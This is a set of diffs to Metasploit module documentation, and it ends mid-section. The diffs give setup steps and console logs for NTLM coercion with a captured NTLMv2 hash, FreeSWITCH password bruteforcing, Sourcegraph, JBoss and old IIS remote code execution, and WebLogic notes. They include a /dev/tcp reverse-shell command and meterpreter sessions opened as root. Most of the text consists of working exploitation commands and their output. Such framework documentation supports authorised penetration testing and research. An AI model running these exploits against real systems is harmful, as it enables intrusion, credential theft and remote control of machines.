[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
{
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"name": "WIN-F7DQC9SR0HD",
"operatingsystemversion": "10.0 (20348)",
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
}
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
{
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"displayname": "FSRWLPT1000000",
"name": "FSRWLPT1000000"
}
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
{
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"displayname": "TSTWVIR1000000",
"name": "TSTWVIR1000000"
}
*cut for brevity*
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
{
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"displayname": "WLPT1000014",
"name": "WLPT1000014"
}
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
{
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"displayname": "WWKS1000016",
"name": "WWKS1000016"
}
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
{
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"displayname": "WVIR1000013",
"name": "WVIR1000013"
}
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
@@ -0,0 +1,62 @@
## Vulnerable Application
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/scanner/dcerpc/dfscoerce`
4. Set the `RHOSTS` and `LISTENER` options
5. Set the `SMBUser`, `SMBPass` for authentication
6. (Optional) Set the `METHOD` options to adjust the trigger vector
7. Do: `run`
## Options
### LISTENER
The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host
should be hosting some kind of capture or relaying service.
### METHOD
The RPC method to use for triggering.
## Scenarios
### Windows Server 2019
In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine
account. The target is a 64-bit Windows Server 2019 domain controller.
```
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/smb) >
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/dcerpc/dfscoerce) > run
[*] 192.168.159.96:445 - Connecting to Distributed File System (DFS) Namespace Management Protocol
[*] 192.168.159.96:445 - Binding to \netdfs...
[+] 192.168.159.96:445 - Bound to \netdfs
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client : 192.168.250.237
[SMB] NTLMv2-SSP Username : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000
[+] 192.168.159.96:445 - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
[*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/dfscoerce) >
```
@@ -0,0 +1,65 @@
## Vulnerable Application
[FreeSWITCH](https://freeswitch.com/) is a free and open-source software defined telecommunications stack for real-time communication,
WebRTC, telecommunications, video, and Voice over Internet Protocol.
The [Event Socket](https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket) `mod_event_socket` is a TCP based interface to
control FreeSWITCH and is enabled by default.
This module has been tested successfully on FreeSWITCH versions:
* 1.10.7-release-19-883d2cb662~64bit on Debian 10.11 (buster)
### Description
This module is a login utility to find the password of the FreeSWITCH event socket service by bruteforcing the login interface.
Note that this service does not require a username to log in; login is done purely via supplying a valid password.
This module will stops as soon as a valid password is found.
This service is enabled by default and listens on TCP port 8021 on the local network interface.
Source and Installers:
* [Source Code Repository](https://github.com/signalwire/freeswitch)
* [Installers](https://freeswitch.org/confluence/display/FREESWITCH/Installation)
* [Virtual Machine](https://freeswitch.com/index.php/fs-virtual-machine/)
* [Docker](https://github.com/drachtio/docker-drachtio-freeswitch-mrf)
Docker installation:
```
docker pull drachtio/drachtio-freeswitch-mrf
docker run -d --rm --name FS1 --net=host \
-v /home/deploy/log:/usr/local/freeswitch/log \
-v /home/deploy/sounds:/usr/local/freeswitch/sounds \
-v /home/deploy/recordings:/usr/local/freeswitch/recordings \
drachtio/drachtio-freeswitch-mrf freeswitch --sip-port 5038 --tls-port 5039 --rtp-range-start 20000 --rtp-range-end 21000 --password hunter
```
## Verification Steps
1. Do: `use auxiliary/scanner/misc/freeswitch_event_socket_login`
2. Do: `set RHOSTS [ips]`
3. Do: `set PASS_FILE /home/kali/passwords.txt`
4. Do: `run`
## Options
### PASS_FILE
The file containing a list of passwords to try logging in with.
## Scenarios
### FreeSWITCH 1.10.7 Linux Debian 10.11 (Docker Image)
```
msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt
PASS_FILE => /home/kali/passwords.txt
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > run
[!] 192.168.56.1:8021 - No active DB -- Credential data will not be saved!
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: ClueCon (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: admin (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 12345 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456789 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: password (Incorrect: -ERR invalid)
[+] 192.168.56.1:8021 - 192.168.56.1:8021 - Login Successful: hunter (Successful: +OK accepted)
[*] 192.168.56.1:8021 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,95 @@
## Vulnerable Application
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.
The cloned repositories can be enumerated from the `/list` endpoint using the curl command:
`curl http://$target:3178/list?cloned=true`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application (see detailed Docker Installation section below)
2. Start msfconsole
3. Do: `use exploits/linux/http/sourcegraph_gitserver_sshcmd`
4. Set the `RHOSTS`, `PAYLOAD` and any payload related options that are necessary
5. Do: `run`
### Docker Installation
1. Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3.
```
docker run \
--publish 3178:3178 \
--publish 7080:7080 \
--publish 127.0.0.1:3370:3370 \
--rm \
--volume /tmp/sourcegraph/config:/etc/sourcegraph \
--volume /tmp/sourcegraph/data:/var/opt/sourcegraph \
sourcegraph/server:3.36.3
```
2. Once the service has started, navigate to the webinterface at http://localhost:7080
3. When prompted, create an administrator's account
4. At least one git repository must be added, complete the following steps to add one.
1. Navigate to `Repositories > Managed code hosts`
2. Select "Generic Git host"
3. When prompted, use the following example JSON code to clone Metasploit.
```
{
"url": "https://github.com/",
"repos": [
"rapid7/metasploit-framework.git"
]
}
```
## Options
### EXISTING_REPO
An existing, cloned repository. If this value is not set, a random one will be selected from the server.
## Scenarios
### Docker v3.36.3
```
msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check
[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand.
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully set core.sshCommand.
[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox
[*] Executing Unix Command target
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400
meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : caab8e904df4
OS : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
@@ -18,6 +18,17 @@ exploitation can take a few minutes.
6. Verify the module yields a PHP meterpreter session in < 5 minutes
7. Verify the malicious PHP file was automatically removed
## Options
### WAIT_TIMEOUT
Seconds to wait to trigger the payload
### NameField
Name of the element for the Name field
### EmailField
Name of the element for the Email field
### MessageField
Name of the element for the Message field
## Scenarios
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
@@ -0,0 +1,153 @@
## Vulnerable Application
### Description
This module exploits a Java deserialization vulnerability in JBOSS
EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior.
### Setup
#### Dockerfile
```dockerfile
FROM jboss/base-jdk:8
# Set the JBOSS_VERSION env variable
ENV JBOSS_HOME /opt/jboss/jboss-as-6.1
ENV EAP_HOME /opt/jboss/jboss-as-6.1
# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content
# https://jbossas.jboss.org/downloads
RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip
RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \
&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \
&& chmod a+x $EAP_HOME/bin/*
# Ensure signals are forwarded to the JVM process correctly for graceful shutdown
#ENV LAUNCH_JBOSS_IN_BACKGROUND true
# Enable binding to all network interfaces and debugging inside the EAP
RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf
# Expose the ports we're interested in
EXPOSE 8080 9990 4447 9999 4446 3873 4445
# Set the default command to run on boot
# This will boot JBoss EAP in the standalone mode and bind to all interface
ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"]
```
#### docker-compose.yml
```yml
version: "3"
services:
web:
build: .
ports:
- "8080:8080"
- "9990:9990"
- "4447:4447"
- "9999:9999"
- "4446:4446"
- "3873:3873"
- "4445:4445"
networks:
internet:
aliases:
- jboss-as-61
networks:
internet:
driver: bridge
```
```bash
docker-compose up
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
This executes a Unix command.
### 1
This uses a Linux dropper to execute code.
## Scenarios
### JBoss Application Server 6.1.0 from [Docker](#setup).
```
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options
Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 4446 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.15:4444
[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:4446 - The target appears to be vulnerable.
[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash
[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70'
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200
id
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
pwd
/opt/jboss
/opt/jboss/jboss-as-6.1/bin/run.sh --version
=========================================================================
JBoss Bootstrap Environment
JBOSS_HOME: /opt/jboss/jboss-as-6.1
JAVA: /usr/lib/jvm/java/bin/java
JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64
CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar
=========================================================================
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816)
Distributable under LGPL license.
See terms of license at gnu.org.
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) >
```
@@ -1,8 +1,14 @@
## Vulnerable Application
CVE-2017-10271 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution.
CVE-2019-2725 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component.
The exploit provides an unauthenticated attacker with remote arbitrary command execution.
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments. It is downloadable from Oracle once registered for an account. For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), Weblogic 10.3.6 for Windows (`wls1036_dev.zip`). For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) in combination with a JDK (`jdk-8u211-windows-x64.exe`).
Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments.
It is downloadable from Oracle once registered for an account.
For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`),
Weblogic 10.3.6 for Windows (`wls1036_dev.zip`).
For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`)
in combination with a JDK (`jdk-8u211-windows-x64.exe`).
## Verification Steps
@@ -13,7 +19,10 @@ Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environ
3. When prompted, use a development environment instead of a production environment.
4. When prompted, keep the default port of TCP/7001.
5. When prompted, provide a username and password, and make a note of them.
6. Upon completion of the installer, find and execute the admin server. On Windows: `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`. On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
6. Upon completion of the installer, find and execute the admin server.
On Windows:
`C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`.
On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
7. You may be prompted for the username and password you generated during the install process.
8. Wait for the output: `<Server state changed to RUNNING.>`
@@ -39,7 +48,8 @@ msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check
## Options
**TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. You can also set `VHOST` instead to handle virtual hosts.
### TARGETURI
Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`.
## Scenarios
@@ -19,10 +19,9 @@ This request includes two POST parameters:
2. The parameter that is used to execute commands via `/tmp/messages`.
In our example the name would be `cmd`, but the module sets this to an arbitrary value.
Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open.
Closing the session should render the app responsive again. It is also possible that enabling the meterpreter option
'TryToFork` might prevent the application hang after exploitation, but given access constraints we were unable to verify the
resultant behavior for enabling that option. Try at your own risk (but let us know how it goes if you do).
Upon successful exploitation, the Aerohive NetConfig application may hang for as long as the spawned shell remains open.
If the Linux target is selected with a meterpreter payload, the `MeterpreterTryToFork` option is likely to prevent this,
and is therefore enabled by default. If the app does hang, closing the session should render the app responsive again.
The module provides an automatic cleanup option to clean the log.
However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed,
@@ -0,0 +1,108 @@
## Vulnerable Application
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (Dutch)
* Windows 2000 Professional SP0 (Finnish)
* Windows 2000 Professional SP0 (Greek)
* Windows 2000 Professional SP0 (Korean)
* Windows 2000 Professional SP0 (Turkish)
* Windows 2000 Professional SP1 (Arabic)
* Windows 2000 Professional SP1 (Czech)
* Windows 2000 Professional SP1 (English)
* Windows 2000 Professional SP1 (Greek)
* Windows 2000 Server SP0 (Chinese)
* Windows 2000 Server SP0 (Dutch)
* Windows 2000 Server SP0 (English)
* Windows 2000 Server SP0 (German)
* Windows 2000 Server SP0 (Hungarian)
* Windows 2000 Server SP0 (Italian)
* Windows 2000 Server SP0 (Portuguese)
* Windows 2000 Server SP0 (Spanish)
* Windows 2000 Server SP0 (Turkish)
* Windows 2000 Server SP1 (English)
* Windows 2000 Server SP1 (French)
* Windows 2000 Server SP1 (Swedish)
## Verification Steps
1. `use exploit/windows/iis/ms01_023_printer`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
msf6 > use exploit/windows/iis/ms01_023_printer
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms01_023_printer) > check
[*] 192.168.200.195:80 - The target appears to be vulnerable.
msf6 exploit(windows/iis/ms01_023_printer) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP0-SP1 (Arabic)
1 Windows 2000 SP0-SP1 (Czech)
2 Windows 2000 SP0-SP1 (Chinese)
3 Windows 2000 SP0-SP1 (Dutch)
4 Windows 2000 SP0-SP1 (English)
5 Windows 2000 SP0-SP1 (French)
6 Windows 2000 SP0-SP1 (Finnish)
7 Windows 2000 SP0-SP1 (German)
8 Windows 2000 SP0-SP1 (Korean)
9 Windows 2000 SP0-SP1 (Hungarian)
10 Windows 2000 SP0-SP1 (Italian)
11 Windows 2000 SP0-SP1 (Portuguese)
12 Windows 2000 SP0-SP1 (Spanish)
13 Windows 2000 SP0-SP1 (Swedish)
14 Windows 2000 SP0-SP1 (Turkish)
15 Windows 2000 Pro SP0 (Greek)
16 Windows 2000 Pro SP1 (Greek)
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
target => 4
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms01_023_printer) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using target: Windows 2000 SP0-SP1 (English) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,71 @@
## Vulnerable Application
This module will execute an arbitrary payload on a Microsoft IIS installation
that is vulnerable to the CGI double-decode vulnerability of 2001.
This module has been tested successfully on:
* Windows 2000 Professional (SP0) (EN)
* Windows 2000 Professional (SP1) (AR)
* Windows 2000 Professional (SP1) (CZ)
* Windows 2000 Server (SP0) (FR)
* Windows 2000 Server (SP1) (EN)
* Windows 2000 Server (SP1) (SE)
Note: This module will leave a Metasploit payload in the IIS scripts directory.
## Verification Steps
1. `use exploit/windows/iis/ms01_026_dbldecode`
1. `set RHOSTS [IP]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
### WINDIR
The Windows directory name of the target host.
The directory name will be detected automatically if not set.
### DEPTH
Traversal depth to reach the drive root (default: `2`)
## Scenarios
### Windows 2000 Server (SP0) (FR)
```
msf6 > use exploit/windows/iis/ms01_026_dbldecode
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175
rhosts => 192.168.200.175
msf6 exploit(windows/iis/ms01_026_dbldecode) > check
[+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt
msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms01_026_dbldecode) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using Windows directory "winnt"
[*] Copying "\winnt\system32\cmd.exe" to the IIS scripts directory as "EcFJ.exe"...
[*] Command Stager progress - 66.67% done (40/60 bytes)
[*] Command Stager progress - 100.00% done (60/60 bytes)
[*] Triggering payload "qQErEZeB.exe" via a direct request...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.175
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.175:1090) at 2022-06-28 08:34:32 -0400
[!] This exploit may require manual cleanup of 'qQErEZeB.exe' on the target
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
c:\inetpub\scripts>hostname
hostname
win2k-srv-fr
```
@@ -0,0 +1,90 @@
## Vulnerable Application
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
This module has been tested successfully on:
* Windows 2000 Pro SP0-SP3 (English)
* Windows 2000 Pro SP0 (Korean)
* Windows 2000 Pro SP0 (Dutch)
* Windows 2000 Pro SP0 (Finnish)
* Windows 2000 Pro SP0 (Turkish)
* Windows 2000 Pro SP0-SP1 (Greek)
* Windows 2000 Pro SP1 (Arabic)
* Windows 2000 Pro SP1 (Czech)
* Windows 2000 Pro SP2 (French)
* Windows 2000 Pro SP2 (Portuguese)
## Verification Steps
1. `use exploit/windows/iis/ms02_065_msadc`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
### TARGETURI
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
## Scenarios
### Windows 2000 Professional SP3 (EN)
```
msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 Pro SP0-SP3 (English)
1 Windows 2000 Pro SP0 (Korean)
2 Windows 2000 Pro SP0 (Dutch)
3 Windows 2000 Pro SP0 (Finnish)
4 Windows 2000 Pro SP0 (Turkish)
5 Windows 2000 Pro SP0-SP1 (Greek)
6 Windows 2000 Pro SP1 (Arabic)
7 Windows 2000 Pro SP1 (Czech)
8 Windows 2000 Pro SP2 (French)
9 Windows 2000 Pro SP2 (Portuguese)
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,105 @@
## Vulnerable Application
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (EN)
* Windows 2000 Professional SP0 (FI)
* Windows 2000 Professional SP0 (NL)
* Windows 2000 Professional SP0 (TR)
* Windows 2000 Professional SP1 (AR)
* Windows 2000 Professional SP1 (CZ)
* Windows 2000 Professional SP1 (EN)
* Windows 2000 Professional SP2 (EN)
* Windows 2000 Professional SP2 (FR)
* Windows 2000 Professional SP2 (PT)
* Windows 2000 Professional SP3 (EN)
* Windows 2000 Server SP0 (DE)
* Windows 2000 Server SP0 (EN)
* Windows 2000 Server SP0 (ES)
* Windows 2000 Server SP0 (FR)
* Windows 2000 Server SP0 (HU)
* Windows 2000 Server SP0 (NL)
* Windows 2000 Server SP0 (PT)
* Windows 2000 Server SP0 (TR)
* Windows 2000 Server SP1 (EN)
* Windows 2000 Server SP1 (SE)
* Windows 2000 Server SP2 (EN)
* Windows 2000 Server SP2 (RU)
* Windows 2000 Server SP3 (DE)
* Windows 2000 Server SP3 (IT)
## Verification Steps
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
1. `set RHOSTS [IP]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
